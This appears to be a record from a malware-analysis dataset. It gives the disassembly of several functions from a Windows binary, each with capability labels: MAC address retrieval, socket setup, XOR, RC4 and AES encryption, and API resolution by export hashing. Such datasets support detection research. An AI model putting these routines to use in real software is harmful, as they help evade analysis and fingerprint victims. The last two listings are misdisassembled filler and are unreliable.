joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1402f6960
Capabilities:
Get mac address on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rax, qword [0x140367bb8]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov rsi, rcx
mov dword [rsp + 0x20], 0
xor ecx, ecx
lea rdx, [rsp + 0x20]
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
mov ecx, dword [rsp + 0x20]
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
lea rdx, [rsp + 0x20]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
xor r10d, r10d
xor edi, edi
cmp dword [rbx + 0x194], edi
jle 0x1402f6a17
mov r8, rsi
lea r9, [rbx + 0x198]
lea r11d, [rdi + 0x37]
nop dword [rax + rax]
movzx edx, byte [r9]
lea r8, [r8 + 2]
mov ecx, edx
lea r9, [r9 + 1]
shr ecx, 4
and edx, 0xf
cmp ecx, 0xa
mov eax, 0x30
cmovae eax, r11d
add al, cl
mov byte [r8 - 2], al
cmp edx, 0xa
mov eax, 0x30
cmovae eax, r11d
add edi, 2
add al, dl
inc r10d
mov byte [r8 - 1], al
cmp r10d, dword [rbx + 0x194]
jl 0x1402f69d0
movsxd rax, edi
mov rcx, rbx
test edi, edi
jle 0x1402f6aa8
mov qword [rsp + 0x48], rbp
mov byte [rax + rsi - 1], 0
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
lea rcx, str.iphlpapi.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbp, rax
test rax, rax
je 0x1402f6a9e
lea rdx, [0x1403113b8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
je 0x1402f6a95
lea rdx, [rsp + 0x24]
mov dword [rsp + 0x24], 0
xor ecx, ecx
call rsi
cmp eax, 0x6f
jne 0x1402f6a95
mov ecx, dword [rsp + 0x24]
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
lea rdx, [rsp + 0x24]
mov rcx, rax
mov rbx, rax
call rsi
mov rcx, rbx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rbp, qword [rsp + 0x48]
lea eax, [rdi - 1]
jmp 0x1402f6ab2
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1402fa650
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x1402f6da0
Capabilities:
Convert ip address from string
Initialize winsock library

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x1d0
mov rax, qword [0x140367bb8]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
movzx edi, dx
mov rbx, rcx
mov ecx, 0x202
lea rdx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1402f6e36
mov qword [rsp + 0x1f0], rsi
movzx ecx, di
mov esi, 2
mov word [0x14038aaf0], si
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [0x14038aaf4]
mov rdx, rbx
mov ecx, esi
mov word [0x14038aaf2], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
xor r8d, r8d
lea edx, [rsi - 1]
mov ecx, esi
call qword [sym.imp.WS2_32.dll_socket]
mov rsi, qword [rsp + 0x1f0]
mov qword [0x14038aae8], rax
cmp rax, 0xffffffffffffffff
je 0x1402f6e36
mov al, 1
jmp 0x1402f6e43
mov qword [0x14038aae8], 0
xor al, al
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.1402fa650
mov rbx, qword [rsp + 0x1f8]
add rsp, 0x1d0
pop rdi
ret
Function at 0x1402f6e70
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
push r14
sub rsp, 0x48
mov rax, qword [0x140367bb8]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov rbx, rcx
mov rsi, r9
xor ecx, ecx
mov r14, r8
movzx edi, dx
call sub.api_ms_win_crt_time_l1_1_0.dll__time64
mov rcx, rax
call sub.api_ms_win_crt_utility_l1_1_0.dll_srand
movzx edx, di
mov rcx, rbx
call fcn.1402f6da0
test al, al
je 0x1402f7081
lea rcx, [0x14038aac0]
mov qword [rsp + 0x30], r15
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
cmp byte [reloc.WS2_32.dll_closesocket], 3
jne 0x1402f6ee0
sar byte [0x140367b48], 2
mov byte [reloc.WS2_32.dll_closesocket], 0x30
lea rcx, [0x14038ab20]
sub rcx, rbx
nop word [rax + rax]
movzx eax, byte [rbx]
mov byte [rcx + rbx], al
lea rbx, [rbx + 1]
test al, al
jne 0x1402f6ef0
lea r15, [0x14038ae80]
mov word [0x14038ac24], di
cmp r15, r14
je 0x1402f7007
mov qword [rsp + 0x40], rbp
mov rbp, 0xffffffffffffffff
mov qword [rsp + 0x38], r12
inc rbp
cmp byte [r14 + rbp], 0
jne 0x1402f6f26
movzx eax, word [r14]
lea rcx, [rsp + 0x20]
xor edx, edx
mov byte [rsp + 0x22], 0
mov word [rsp + 0x20], ax
lea r8d, [rdx + 0x10]
call sub.api_ms_win_crt_convert_l1_1_0.dll_strtol
movzx ecx, word [r14 + 2]
xor edx, edx
mov word [rsp + 0x20], cx
mov edi, eax
lea rcx, [rsp + 0x20]
lea r8d, [rdx + 0x10]
call sub.api_ms_win_crt_convert_l1_1_0.dll_strtol
movzx ecx, word [r14 + rbp - 2]
xor edx, edx
mov word [rsp + 0x20], cx
mov ebx, eax
lea rcx, [rsp + 0x20]
lea r8d, [rdx + 0x10]
call sub.api_ms_win_crt_convert_l1_1_0.dll_strtol
xor eax, ebx
mov r8, rbp
movzx edx, al
mov rcx, r15
movzx eax, dil
xor edx, eax
mov dword [0x14038ae64], edx
lea ebx, [rdx + rdx]
mov rdx, r14
mov r12d, ebx
sub r8, r12
sub r8, 2
call sub.VCRUNTIME140.dll_memcpy
xor edi, edi
mov r15d, ebx
mov ebx, edi
test r15, r15
je 0x1402f6ffd
sub r14, r12
add r14, rbp
lea rbp, [0x14038ad60]
nop dword [rax]
movzx eax, word [r14 + rbx - 2]
lea rcx, [rsp + 0x20]
xor edx, edx
mov word [rsp + 0x20], ax
lea r8d, [rdx + 0x10]
call sub.api_ms_win_crt_convert_l1_1_0.dll_strtol
xor al, dil
add rbx, 2
mov byte [rdi + rbp], al
inc rdi
cmp rbx, r15
jb 0x1402f6fd0
mov rbp, qword [rsp + 0x40]
mov r12, qword [rsp + 0x38]
mov r15, qword [rsp + 0x30]
lea rcx, [0x14038afa0]
sub rcx, rsi
nop word [rax + rax]
movzx eax, byte [rsi]
mov byte [rcx + rsi], al
lea rsi, [rsi + 1]
test al, al
jne 0x1402f7020
mov rax, qword [rsp + 0x90]
test rax, rax
je 0x1402f7060
lea rdx, [0x14038ac40]
sub rdx, rax
nop word [rax + rax]
movzx ecx, byte [rax]
mov byte [rdx + rax], cl
lea rax, [rax + 1]
test cl, cl
jne 0x1402f7050
mov al, 1
mov byte [0x14038ac26], al
mov edx, 8
movzx eax, byte [0x140385abc]
test al, al
mov ecx, eax
mov al, 1
cmove ecx, edx
mov byte [0x140385abc], cl
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1402fa650
add rsp, 0x48
pop r14
pop rdi
pop rsi
pop rbx
ret
Function at 0x1402f99f0
Capabilities:
Encode data using xor

Disassembly:
push rdi
xor eax, eax
mov rdi, r9
mov r11, rcx
test r8, r8
je 0x1402f9a41
mov r9, qword [rsp + 0x30]
mov r10, rcx
mov qword [rsp + 0x10], rbx
sub rdx, rcx
mov rbx, r8
xor ecx, ecx
lea r10, [r10 + 1]
cmp rax, r9
cmovb rcx, rax
movzx eax, byte [rdx + r10 - 1]
xor al, byte [rcx + rdi]
mov byte [r10 - 1], al
lea rax, [rcx + 1]
sub rbx, 1
jne 0x1402f9a12
mov byte [r11 + r8], bl
mov rbx, qword [rsp + 0x10]
pop rdi
ret
mov byte [rcx + r8], al
pop rdi
ret

Function at 0x1402f9a50
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x260
mov rax, qword [0x140367bb8]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rbp, r8
movsxd r14, r9d
mov rsi, rdx
mov rbx, rcx
xor edx, edx
lea rcx, [rsp + 0x140]
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
xor edi, edi
mov byte [rsp + 0x22], 0
xor edx, edx
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], dl
jne 0x1402f9ab3
test r8, r8
je 0x1402f9ae8
lea rax, [rsp + 0x30]
sub rsi, rax
nop dword [rax]
movzx eax, dl
lea rcx, [rsp + 0x30]
add rcx, rdx
inc rdx
xor al, byte [rsi + rcx]
mov byte [rcx], al
cmp rdx, r8
jb 0x1402f9ad0
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rbx + rax], dil
jne 0x1402f9af0
test rax, rax
je 0x1402f9b4e
lea rsi, [rsp + 0x140]
nop word [rax + rax]
movzx eax, word [rbx + rdi]
lea rcx, [rsp + 0x20]
xor edx, edx
mov word [rsp + 0x20], ax
lea r8d, [rdx + 0x10]
call sub.api_ms_win_crt_convert_l1_1_0.dll_strtol
mov byte [rsi], al
lea rsi, [rsi + 1]
mov rax, 0xffffffffffffffff
add rdi, 2
nop word [rax + rax]
inc rax
cmp byte [rbx + rax], 0
jne 0x1402f9b40
cmp rdi, rax
jb 0x1402f9b10
xor eax, eax
test r14d, r14d
je 0x1402f9b90
lea r9, [rsp + 0x30]
mov rdx, rbp
sub r9, rbp
mov r8, r14
xor ecx, ecx
lea rdx, [rdx + 1]
cmp rax, rdi
cmovb rcx, rax
movzx eax, byte [rsp + rcx + 0x140]
xor al, byte [r9 + rdx - 1]
mov byte [rdx - 1], al
lea rax, [rcx + 1]
sub r8, 1
jne 0x1402f9b63
mov byte [r14 + rbp], r8b
jmp 0x1402f9b94
mov byte [r14 + rbp], al
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.1402fa650
add rsp, 0x260
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1402f9bc0
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x230
mov rax, qword [0x140367bb8]
xor rax, rsp
mov qword [rsp + 0x220], rax
mov r14, r8
mov rsi, rdx
mov rbp, rcx
xor edx, edx
mov r8d, 0x100
lea rcx, [rsp + 0x20]
mov rbx, r9
call sub.VCRUNTIME140.dll_memset
test rbx, rbx
je 0x1402f9dac
mov edi, dword [rsp + 0x270]
lea eax, [rdi - 1]
cmp eax, 0xff
ja 0x1402f9dac
xor edx, edx
lea rcx, [rsp + 0x120]
mov r8d, 0x100
call sub.VCRUNTIME140.dll_memset
xor r10d, r10d
cmp edi, 0x100
jne 0x1402f9ca5
lea rax, [rsp + 0x120]
lea ecx, [r10 + 2]
nop
lea rax, [rax + 0x80]
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
lea rbx, [rbx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rbx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rbx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rbx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rbx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rbx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rbx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub rcx, 1
jne 0x1402f9c50
jmp 0x1402f9cda
mov r8d, r10d
mov r9, r10
nop dword [rax + rax]
mov eax, r8d
mov byte [rsp + r9 + 0x20], r8b
cdq
lea r9, [r9 + 1]
idiv edi
inc r8d
movsxd rax, edx
movzx ecx, byte [rax + rbx]
mov byte [rsp + r9 + 0x11f], cl
cmp r8d, 0x100
jl 0x1402f9cb0
mov edx, r10d
mov r8, r10
movzx eax, byte [rsp + r8 + 0x120]
movzx r9d, byte [rsp + r8 + 0x20]
add edx, eax
add edx, r9d
and edx, 0x800000ff
jge 0x1402f9d06
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
lea rcx, [rsp + 0x20]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rsp + r8 + 0x20], al
inc r8
mov byte [rcx], r9b
cmp r8, 0x100
jl 0x1402f9ce0
mov eax, r10d
test rbp, rbp
je 0x1402f9da8
test rsi, rsi
je 0x1402f9da8
test r14, r14
jle 0x1402f9da8
sub rbp, rsi
nop dword [rax]
inc eax
and eax, 0x800000ff
jge 0x1402f9d52
dec eax
or eax, 0xffffff00
inc eax
movsxd rcx, eax
lea r8, [rsp + 0x20]
add r8, rcx
movzx r9d, byte [r8]
lea ecx, [r10 + r9]
and ecx, 0x800000ff
jge 0x1402f9d77
dec ecx
or ecx, 0xffffff00
inc ecx
movsxd r10, ecx
lea rdx, [rsp + 0x20]
movzx ecx, byte [rdx + r10]
mov byte [r8], cl
mov byte [rdx + r10], r9b
movzx edx, byte [r8]
add rdx, r9
movzx ecx, dl
movzx edx, byte [rsp + rcx + 0x20]
xor dl, byte [rsi + rbp]
mov byte [rsi], dl
inc rsi
sub r14, 1
jne 0x1402f9d40
mov al, 1
jmp 0x1402f9dae
xor al, al
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.1402fa650
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x1402fa670
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
mov rax, qword [0x140367bb8]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov edx, dword [rcx + 4]
mov rsi, rcx
mov dword [rsp + 0x20], 1
mov bpl, 1
sub edx, 0x80
je 0x1402fa6d4
sub edx, 0x40
je 0x1402fa6c3
cmp edx, 0x40
jne 0x1402fa6d4
mov dword [rcx], recv
lea edi, [rdx - 0x20]
lea r14d, [rdx - 0x38]
jmp 0x1402fa6e3
mov edi, 0x18
mov dword [rcx], recv
lea r14d, [rdi - 0x12]
jmp 0x1402fa6e3
mov edi, reloc.WS2_32.dll_recv
mov dword [rcx], 0xa
lea r14d, [rdi - 0xc]
mov rdx, qword [rsi + 0x10]
movzx eax, dil
add rcx, 0x20
movzx ebx, al
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsi]
lea rcx, [rsi + 0x20]
add rcx, rdi
lea eax, [rax*4 + 4]
cmp ebx, eax
jge 0x1402fa83c
mov eax, r14d
lea r9, [rsp + 0x20]
neg rax
lea rdi, [0x140311050]
sub r9, rcx
movzx r11d, bl
lea r10, [rax*4]
nop dword [rax]
nop word [rax + rax]
mov r8d, dword [rcx - 4]
xor edx, edx
mov eax, ebx
mov dword [rcx], r8d
div r14d
test edx, edx
jne 0x1402fa7d5
mov eax, r8d
mov rdx, rcx
shr eax, 8
mov byte [rcx], al
movzx eax, byte [rcx + 2]
mov byte [rcx + 1], al
movzx eax, byte [rcx + 3]
mov byte [rcx + 3], r8b
mov r8d, 4
mov byte [rcx + 2], al
nop dword [rax]
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
movzx eax, byte [rax + rdi]
mov byte [rdx - 1], al
sub r8, 1
jne 0x1402fa780
mov rdx, rcx
mov r8d, 4
nop dword [rax]
movzx eax, byte [r9 + rdx]
xor byte [rdx], al
lea rdx, [rdx + 1]
sub r8, 1
jne 0x1402fa7a0
movzx eax, bpl
movzx r8d, bpl
add al, al
movzx edx, al
movzx eax, dl
mov ebp, edx
xor al, 0x1b
test r8b, r8b
movzx eax, al
cmovs ebp, eax
mov byte [rsp + 0x20], bpl
jmp 0x1402fa804
cmp r14d, 6
jbe 0x1402fa804
cmp edx, 4
jne 0x1402fa804
mov rdx, rcx
mov r8d, 4
nop dword [rax]
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
movzx eax, byte [rax + rdi]
mov byte [rdx - 1], al
sub r8, 1
jne 0x1402fa7f0
mov edx, 4
nop dword [rax]
movzx eax, byte [r10 + rcx]
xor byte [rcx], al
inc rcx
sub rdx, 1
jne 0x1402fa810
mov eax, dword [rsi]
inc r11b
sub r9, 4
movzx ebx, r11b
lea eax, [rax*4 + 4]
cmp ebx, eax
jl 0x1402fa740
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1402fa650
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
Function at 0x1402fa860
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push rbx
push r13
push r14
sub rsp, 0x30
mov r11d, r9d
mov rbx, r8
mov r14, rcx
test r9d, r9d
je 0x1402fa892
mov r10, rbx
sub rdx, rbx
nop
movzx eax, byte [rdx + r10]
mov byte [r10], al
lea r10, [r10 + 1]
sub r11, 1
jne 0x1402fa880
mov edx, r9d
mov rcx, rbx
call fcn.1402fafe0
mov r13d, eax
test eax, eax
jne 0x1402fa8ae
add rsp, 0x30
pop r14
pop r13
pop rbx
ret
mov r8, qword [r14 + 0x18]
mov qword [rsp + 0x28], r12
mov r12d, r13d
shr r12d, 4
test r12d, r12d
je 0x1402faa58
mov qword [rsp + 0x50], rbp
lea r9, [0x140311050]
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x20], r15
mov r15, r14
sub r15, rbx
add r15, 0x20
nop dword [rax]
cmp dword [r14 + 8], 1
jne 0x1402fa921
mov rcx, rbx
sub r8, rbx
mov edx, reloc.WS2_32.dll_recv
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rcx]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x1402fa910
mov rsi, rbx
mov ecx, reloc.WS2_32.dll_recv
nop dword [rax]
movzx eax, byte [rsi + r15]
xor byte [rsi], al
inc rsi
sub rcx, 1
jne 0x1402fa930
cmp dword [r14], 1
mov bpl, 1
jl 0x1402faa30
lea edi, [rcx + 1]
mov rcx, rbx
mov edx, reloc.WS2_32.dll_recv
nop dword [rax + rax]
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
movzx eax, byte [rax + r9]
mov byte [rcx - 1], al
sub rdx, 1
jne 0x1402fa960
mov r10b, 1
lea r11, [rbx + 1]
nop dword [rax]
lea rdx, [rsp + 0x68]
mov rax, r11
mov r8d, 4
nop
movzx ecx, byte [rax]
lea rax, [rax + 4]
mov byte [rdx], cl
lea rdx, [rdx + 1]
sub r8, 1
jne 0x1402fa990
movzx r9d, r10b
nop word [rax + rax]
movzx eax, r8b
inc r8b
lea edx, [r9 + rax]
and edx, 3
lea ecx, [r9 + rax*4]
movzx eax, byte [rsp + rdx + 0x68]
mov byte [rcx + rbx], al
cmp r8b, 4
jb 0x1402fa9b0
inc r10b
inc r11
cmp r10b, 4
jb 0x1402fa980
cmp edi, dword [r14]
je 0x1402fa9eb
xor edx, edx
mov rcx, rbx
call fcn.1402fac80
shl edi, 4
mov rcx, rbx
mov r8d, edi
mov edx, reloc.WS2_32.dll_recv
sub r8, rbx
add r8, r14
nop
movzx eax, byte [r8 + rcx + 0x20]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x1402faa00
inc bpl
lea r9, [0x140311050]
movzx edi, bpl
cmp edi, dword [r14]
jle 0x1402fa950
lea r9, [0x140311050]
sub r15, 0x10
mov r8, rbx
mov rbx, rsi
add r12d, 0xffffffff
jne 0x1402fa8f0
mov r15, qword [rsp + 0x20]
mov rdi, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x50]
mov r12, qword [rsp + 0x28]
mov eax, r13d
add rsp, 0x30
pop r14
pop r13
pop rbx
ret
Function at 0x1402faa70
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push r14
sub rsp, 0x20
mov ebp, r9d
mov rbx, rdx
mov r14, rcx
test r9d, r9d
je 0x1402fab6b
test bpl, 0xf
jne 0x1402fab6b
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], r15
mov r15, rdx
mov edx, ebp
test r9d, r9d
je 0x1402faac1
mov rcx, rbx
sub r8, rbx
nop
movzx eax, byte [r8 + rcx]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x1402faab0
lea ecx, [rbp - 0x10]
mov edi, ebp
add rbx, rcx
shr edi, 4
test edi, edi
je 0x1402fab45
mov qword [rsp + 0x40], rsi
mov esi, reloc.WS2_32.dll_recv
nop word [rax + rax]
mov rdx, rbx
mov rcx, r14
call fcn.1402fae60
cmp dword [r14 + 8], 1
jne 0x1402fab10
cmp edi, 1
je 0x1402fab1a
mov rax, rbx
mov rdx, rsi
nop dword [rax]
movzx ecx, byte [rax - 0x10]
xor byte [rax], cl
lea rax, [rax + 1]
sub rdx, 1
jne 0x1402fab00
sub rbx, rsi
add edi, 0xffffffff
jne 0x1402faae0
jmp 0x1402fab40
mov rcx, qword [r14 + 0x18]
sub rcx, rbx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rcx + rbx]
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rsi, 1
jne 0x1402fab30
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
lea eax, [rbp - 1]
movzx edx, byte [rax + r15]
mov ecx, ebp
mov r15, qword [rsp + 0x50]
sub ecx, edx
xor eax, eax
cmp edx, ebp
cmovbe eax, ecx
add rsp, 0x20
pop r14
pop rbp
pop rbx
ret
xor eax, eax
add rsp, 0x20
pop r14
pop rbp
pop rbx
ret

Function at 0x1402fab80
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push r14
sub rsp, 0x20
mov r14d, r9d
mov rbx, rdx
mov rbp, rcx
test r9d, r9d
jne 0x1402fabb1
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x38], rdi
mov rdx, r14
test r9d, r9d
je 0x1402fabe1
mov rcx, rbx
sub r8, rbx
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [r8 + rcx]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x1402fabd0
lea ecx, [r14 - 0x10]
mov edi, r14d
add rbx, rcx
shr edi, 4
test edi, edi
je 0x1402fac65
mov qword [rsp + 0x30], rsi
mov esi, reloc.WS2_32.dll_recv
nop dword [rax]
mov rdx, rbx
mov rcx, rbp
call fcn.1402fae60
cmp dword [rbp + 8], 1
jne 0x1402fac30
cmp edi, 1
je 0x1402fac3a
mov rax, rbx
mov rdx, rsi
nop dword [rax]
movzx ecx, byte [rax - 0x10]
xor byte [rax], cl
lea rax, [rax + 1]
sub rdx, 1
jne 0x1402fac20
sub rbx, rsi
add edi, 0xffffffff
jne 0x1402fac00
jmp 0x1402fac60
mov rcx, qword [rbp + 0x18]
sub rcx, rbx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rcx + rbx]
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rsi, 1
jne 0x1402fac50
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov eax, r14d
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x1402fae60
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push rbp
push rdi
sub rsp, 0x28
mov eax, dword [rcx]
mov rdi, rdx
shl eax, 4
lea rdx, [rcx + 0x20]
cdqe
mov r8, rdi
add rdx, rax
mov r9d, reloc.WS2_32.dll_recv
sub rdx, rdi
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rdx + r8]
xor byte [r8], al
lea r8, [r8 + 1]
sub r9, 1
jne 0x1402fae90
movzx ebp, byte [rcx]
test bpl, bpl
je 0x1402fafd2
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rsi
lea rsi, [rbp + 1]
shl rsi, 4
sub rsi, rdi
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x20], r15
add rsi, rcx
lea r15, [0x140310f50]
nop word [rax + rax]
mov r9b, 1
lea rbx, [rdi + 1]
nop word [rax + rax]
lea rdx, [rsp + 0x40]
mov rax, rbx
mov r8d, 4
nop
movzx ecx, byte [rax]
lea rax, [rax + 4]
mov byte [rdx], cl
lea rdx, [rdx + 1]
sub r8, 1
jne 0x1402faf00
mov eax, 4
movzx r11d, r9b
sub al, r9b
movzx r10d, al
nop dword [rax]
nop word [rax + rax]
movzx eax, r8b
inc r8b
lea edx, [r10 + rax]
and edx, 3
lea ecx, [r11 + rax*4]
movzx eax, byte [rsp + rdx + 0x40]
mov byte [rcx + rdi], al
cmp r8b, 4
jb 0x1402faf30
inc r9b
inc rbx
cmp r9b, 4
jb 0x1402faef0
mov rcx, rdi
mov edx, reloc.WS2_32.dll_recv
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
movzx eax, byte [rax + r15]
mov byte [rcx - 1], al
sub rdx, 1
jne 0x1402faf70
mov rcx, rdi
mov edx, reloc.WS2_32.dll_recv
nop dword [rax]
movzx eax, byte [rcx + rsi]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x1402faf90
cmp bpl, 1
je 0x1402fafb0
mov dl, 1
mov rcx, rdi
call fcn.1402fac80
sub rsi, 0x10
add bpl, 0xff
jne 0x1402faee0
mov r15, qword [rsp + 0x20]
mov r14, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x48]
add rsp, 0x28
pop rdi
pop rbp
ret
Function at 0x140131c9e
Capabilities:
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
lea r14d, [rbp - 0x778b]
test ebx, 0x1140a55f
pop r14
test r13, rdx
jmp 0x140131e14
jne 0x140131ce8
sub edx, 0x22d747d6
jno 0x140131dcf
invalid
Function at 0x140133036
Capabilities:
Contain obfuscated stackstrings
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
rcl ebx, 0x44
rcr r12d, 0x39
je 0x140133da5
mov r9d, 0xb10a18fe
add r11d, 0x1af63091
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al